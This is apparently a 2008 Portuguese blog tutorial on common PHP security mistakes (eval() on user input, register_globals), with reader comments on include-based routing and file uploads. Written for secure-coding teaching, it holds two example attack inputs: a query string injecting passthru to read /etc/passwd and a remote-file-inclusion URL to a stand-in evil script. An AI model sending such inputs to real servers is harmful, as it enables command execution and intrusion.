+3

Principais erros de segurança em códigos PHP

criado por Marcos Regis em 12/06/2008 8:17am
- Seja cuidadoso com eval()

Colocando entradas de usuário dentro da função <em>eval()</em> pode ser extremamente perigoso. Você dá essencialmente a um usuário malicioso a abilidade de executar qualquer comando que ele/ela desejar!

Você pode visualizar a entrada provindo de um objeto menu de opções tipo drop-down que você especificou mas o usuário pode decidir enviar algo como isto:

script.php?input=;passthru("cat  /etc/paswd");

Colocando seu próprio código na sentença, o usuário pode fazer seu programa exibir o arquivo <em>/etc/passwd</em> completo de seu servidor.

Use <em>eval()</em> o mínimo possível, e por todos os meios, valide os dados do usuário. Ele deverá somente ser usado quando absolutamente necessário – quando há código gerado dinamicamente pelo PHP.

Se você estiver usando ele para substituir templates variáveis dentro de uma string ou substituindo valores de entrada de usuários, então você o está usando pela razão errada.

Tente sprintf() ou um sistema de templates ao invés disso.


- Cuidado quando usar register_globals = ON

Este tem sido a principal discussão desde que esta propriedade foi inventada.
Ela foi originalmente inventada para tornar a programação em PHP mais fácil (e ela o faz), mas o mal uso dela freqüentemente leva a furos de seguranças.

Desde o PHP 4.2.0, register_globals está ajustado em OFF por default. E é recomendado que você use as superglobais para trabalhar com entradas ($_GET, $_POST, $_COOKIE, $_SESSION, etc).

Por exemplo, vamos dizer que você tinha uma variável que especificava uma página a ser incluída:

<?php
include($page);
?>

Porém você deseja que $page seja definida em um arquivo de configuração ou alguma outra coisa em seu script, e não venha de uma entrada do usuário. Em alguma instância você esqueceu de predefinir $page. Se register_globals estiver em ON, o usuário malicioso pode sobrescrevê-la e definir $page por você, simplesmente chamado seu script desta forma:

script.php?page=http://www.example.com/evilscript.php

A recomendação é que se desenvolva com register_globals ajustado em <em>OFF</em>, e usar as superglobias quando acessar dados do usuário. E mais, você deve sempre desenvolver com full error reporting, a qual pode ser especificada desta forma (no topo de seu script):

error_reporting(E_ALL);

Desta forma, você irá receber um aviso para cada variável que você tentou chamar e que você não definiu previamente. Sim, PHP não requer que você defina variáveis então poderá haver avisos que você pode ignorar, mas isto irá ajudá-lo a pegar variáveis indefinidas que você espera vir de entrada do usuário ou outras fontes. No exemplo anterior, quando $page foi referenciado na declaração include(), PHP irá avisar que $page não foi definida.

Quando usar ou não <em>register_globals</em> é com você, mas tenha certeza de estar consciente das vantagens e desvantagens dela e como remediar os possíveis furos.

Comentários:

Mostrando 1 - 10 de 24 comentários
Parabéns pelo artigo! :-)
31/03/2011 2:13am (~13 anos atrás)

Dam disse:
Bom artigo.
20/11/2008 4:21am (~16 anos atrás)

Por incrível que pareça, já peguei muito código de programador experiente contento estes erros.

Muito bom o seu artigo.

As vezes até eu esqueço essas boas práticas.
17/11/2008 4:36am (~16 anos atrás)

Ricardo Gama disse:
a ta. Foi isso mesmo que a gente fez aqui. No config.inc.php tem uma autoload que já inclui classes comuns a do framework e instancia tbm classes comuns ao sistema.

Vlw ae... vou ver uma forma de passar isso de outro jeito... tem algum tempo que isso me incomoda de ficar na URL :)

Abcs
13/11/2008 9:09am (~16 anos atrás)

Marcos Regis disse:
Isso depende de como está o código de verificação e de include.
O que desaconselho é usar variaveis que apontem para arquivos em um include pois um hacker pode fazer seu sistema apontar para um arquivo dele e dessa forma comprometer seu sistema.
A forma que os frameworks como cake, symfony, phpmvc, etc usam tem a ver com sessao (controller) e acao (metodo).
Dessa forma não tem que dar nenhum include.
Um sistema baseado em Orientação a Objetos a meu modo de ver tem que fazer uso de autoload e ter uma lista de classes válidas a serem instanciadas (disptatcher).

Quanto a estar certo ou errado é ponto de vista mas acho que vc ganharia em segurança se não utiliza-se include por parâmetros via URL.
13/11/2008 8:38am (~16 anos atrás)

Ricardo Gama disse:
Marcos, não entendi o lance que vc falou dos frameworks...

Exemplo, aqui na empresa a gente criou um framework, que funciona mais ou menos do jeito que vc falou. Ex.:

URL:

www.sitetal.com.br/sistema/index.php?t=pedido&a=frm

o parâmetro "t" é o nome da pasta onde fica a página vindo pelo valor de a (ou seja, ele vai procurar se na pasta pedido, existe uma página chamada frm.php). Se tiver ele da o include vai na pasta de classes e instancia a classe class.PEDIDO.php...

Os métodos são chamados na própria página, conforme for preciso. A gente não passa método via URL.

Você acha que essa forma ta errada? Por que estaria? Como posso corrigir isso?
13/11/2008 8:05am (~16 anos atrás)

Marcos Regis disse:
Essa sua preocupação tem sentido quando se usa eval() da forma como mencionei no artigo, pois eval executa uma string como código php.

No caso de SQL sim e é o que se chama de SQL injection.
04/11/2008 3:52am (~16 anos atrás)

Existe por exemplo algum função que é executada mesmo sem eu chama-la??

exemplo se eu pego $_GET['nome'] e faço $nome = $_GET['nome']; e depois disso eu faço os tratamentos de segurança

ai o usuário malicioso digita funcao_maliciosa(); , ele vai guardar isso como uma string ou como uma função??
pq se acontece de $nome = funcao_maliciosa(); ai pode ser que ele consiga dados mas se gravar como string acho que nao faz diferença.

[Na verdade eu tenho quase certeza que isso nao é um problema mas é só pra tirar as dúvidas mesmo]
03/11/2008 4:49pm (~16 anos atrás)

hinom disse:
outro tipo de falha muito comum é com upload de arquivos.

muitos sistemas nao fazem validação do tipo de arquivo enviado, permitindo que arquivos .php, por exemplo, sejam enviados

30/09/2008 1:27am (~16 anos atrás)

O codigo javascript pode ser facil e util mas e haqueavel, e quando o meu pc ficou sem java, eu nao acessava os arquivos corretos, entao tive que baixar o FF. Eu recomendo a todos aqui a usarem o PHP, e logo farei outros tutoriais...
16/09/2008 5:51am (~16 anos atrás)

Novo Comentário:

(Você pode usar tags como <b>, <i> ou <code>. URLs serão convertidas para links automaticamente.)